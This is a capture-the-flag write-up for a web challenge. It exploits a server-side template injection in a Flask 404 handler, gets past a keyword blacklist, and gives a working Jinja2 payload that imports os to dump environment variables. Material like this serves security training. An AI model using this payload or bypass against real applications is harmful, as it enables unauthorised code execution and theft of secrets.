Templode

Web 500

Description

"We don't trust any URL shortener, so we decided to make our own."

Finding the SSTI Vulnerability

I started by looking through app.py, and one thing caught my attention—the 404 error handler:

app.py Python
@app.errorhandler(404)
def page_not_found(e):
    path = request.path.lstrip('/')
    template = '''
    <h1>404 - Page Not Found</h1>
    <p>The requested URL /''' + path + ''' was not found on this server.</p>
    <p>Please check the URL or go back to the <a href="/">homepage</a>.</p>
    '''
    return render_template_string(template), 404

I immediately recognized the issue here. The function takes path, which comes directly from the URL, and injects it into render_template_string(). This is a Server-Side Template Injection (SSTI) vulnerability, meaning I could inject Jinja2 expressions and execute arbitrary code.

Bypassing the Blacklist

Before jumping into exploitation, I checked redirect_url(), which had a blacklist blocking certain keywords:

app.py Python
blacklist = ['{{'', 'class', 'attr', 'mro', '[', 'import', 'os', 'system', 'subclasses', 'mro', 'request', 'args', 'eval', 'exec']

At first, it seemed restrictive, but then I discovered a bypass—if I used a multi-segment URL like /aa/payload, I could slip through.

Exploiting the Vulnerability

I tried simple SSTI payloads like {{ 7 * 7 }}, but they were blocked, returning either a 404 or 400. Instead of manually testing each payload, I used an automated payload-fuzzing tool:

🔗 https://www.ddosi.org/fenjing/

Eventually, I found a working payload that allowed me to dump environment variables:

URL
http://aa5bc6827feebb365d40a.playat.flagyard.com/aaa/%7B%7B((lipsum.__globals__.__builtins__.__import__('os')).environ)%7D%7D

Understanding the Payload

The decoded payload has multiple components working together:

Decoded Payload Jinja2
{{ ((lipsum.__globals__.__builtins__.__import__('os')).environ) }}
  • lipsum.__globals__ → Accesses global variables in Jinja2.
  • .__builtins__ → Gives access to Python built-in functions.
  • .__import__('os') → Imports the os module.
  • .environ → Dumps environment variables, where the flag was stored.

This successfully printed the flag from the environment variables.

Flag

FlagY{************}